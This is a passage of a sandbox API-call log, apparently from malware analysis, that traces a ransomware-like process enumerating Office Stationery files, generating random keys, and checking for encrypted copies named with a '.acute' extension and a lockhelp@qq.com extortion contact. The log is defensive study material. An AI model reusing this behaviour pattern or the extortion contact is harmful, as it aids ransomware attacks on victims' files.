CloseHandle (hObject=0x368) returned 1 [0272.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0272.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.974] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.974] ResetEvent (hEvent=0x2d4) returned 1 [0272.974] SetEvent (hEvent=0x2d8) returned 1 [0272.974] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.975] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2950) returned 1 [0272.975] CloseHandle (hObject=0x368) returned 1 [0272.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0272.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.975] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.976] ResetEvent (hEvent=0x2d4) returned 1 [0272.976] SetEvent (hEvent=0x2d8) returned 1 [0272.976] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.976] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=237) returned 1 [0272.976] CloseHandle (hObject=0x368) returned 1 [0272.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0272.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.976] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.977] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.978] ResetEvent (hEvent=0x2d4) returned 1 [0272.978] SetEvent (hEvent=0x2d8) returned 1 [0272.978] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.978] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=232) returned 1 [0272.979] CloseHandle (hObject=0x368) returned 1 [0272.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0272.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.979] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.979] ResetEvent (hEvent=0x2d4) returned 1 [0272.979] SetEvent (hEvent=0x2d8) returned 1 [0272.979] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.980] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5115) returned 1 [0272.980] CloseHandle (hObject=0x368) returned 1 [0272.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0272.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.981] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.981] ResetEvent (hEvent=0x2d4) returned 1 [0272.981] SetEvent (hEvent=0x2d8) returned 1 [0272.981] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.981] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3981) returned 1 [0272.981] CloseHandle (hObject=0x368) returned 1 [0272.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0272.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.982] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.983] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.983] ResetEvent (hEvent=0x2d4) returned 1 [0272.983] SetEvent (hEvent=0x2d8) returned 1 [0272.983] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.984] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14049) returned 1 [0272.984] CloseHandle (hObject=0x368) returned 1 [0272.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0272.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.984] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.985] ResetEvent (hEvent=0x2d4) returned 1 [0272.985] SetEvent (hEvent=0x2d8) returned 1 [0272.985] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.985] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=233) returned 1 [0272.985] CloseHandle (hObject=0x368) returned 1 [0272.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0272.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.986] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.986] ResetEvent (hEvent=0x2d4) returned 1 [0272.986] SetEvent (hEvent=0x2d8) returned 1 [0272.986] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.987] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1920) returned 1 [0272.987] CloseHandle (hObject=0x368) returned 1 [0272.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0272.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.987] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.987] ResetEvent (hEvent=0x2d4) returned 1 [0272.987] SetEvent (hEvent=0x2d8) returned 1 [0272.988] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.988] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15776) returned 1 [0272.988] CloseHandle (hObject=0x368) returned 1 [0272.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0272.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.988] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.989] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.990] ResetEvent (hEvent=0x2d4) returned 1 [0272.990] SetEvent (hEvent=0x2d8) returned 1 [0272.990] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.990] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=237) returned 1 [0272.990] CloseHandle (hObject=0x368) returned 1 [0272.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0272.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.991] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.992] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.994] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.994] ResetEvent (hEvent=0x2d4) returned 1 [0272.994] SetEvent (hEvent=0x2d8) returned 1 [0272.994] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.994] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1990) returned 1 [0272.994] CloseHandle (hObject=0x368) returned 1 [0272.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0272.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.995] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.996] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.997] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.998] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.999] ResetEvent (hEvent=0x2d4) returned 1 [0272.999] SetEvent (hEvent=0x2d8) returned 1 [0272.999] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.999] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7505) returned 1 [0272.999] CloseHandle (hObject=0x368) returned 1 [0273.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0273.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.000] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.000] ResetEvent (hEvent=0x2d4) returned 1 [0273.000] SetEvent (hEvent=0x2d8) returned 1 [0273.001] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.001] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1864) returned 1 [0273.001] CloseHandle (hObject=0x368) returned 1 [0273.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0273.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.001] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.002] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.006] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.007] ResetEvent (hEvent=0x2d4) returned 1 [0273.007] SetEvent (hEvent=0x2d8) returned 1 [0273.007] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.007] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=26720) returned 1 [0273.007] CloseHandle (hObject=0x368) returned 1 [0273.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0273.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.007] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.011] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.013] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0273.100] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0273.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.103] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1347) returned 1 [0273.103] CloseHandle 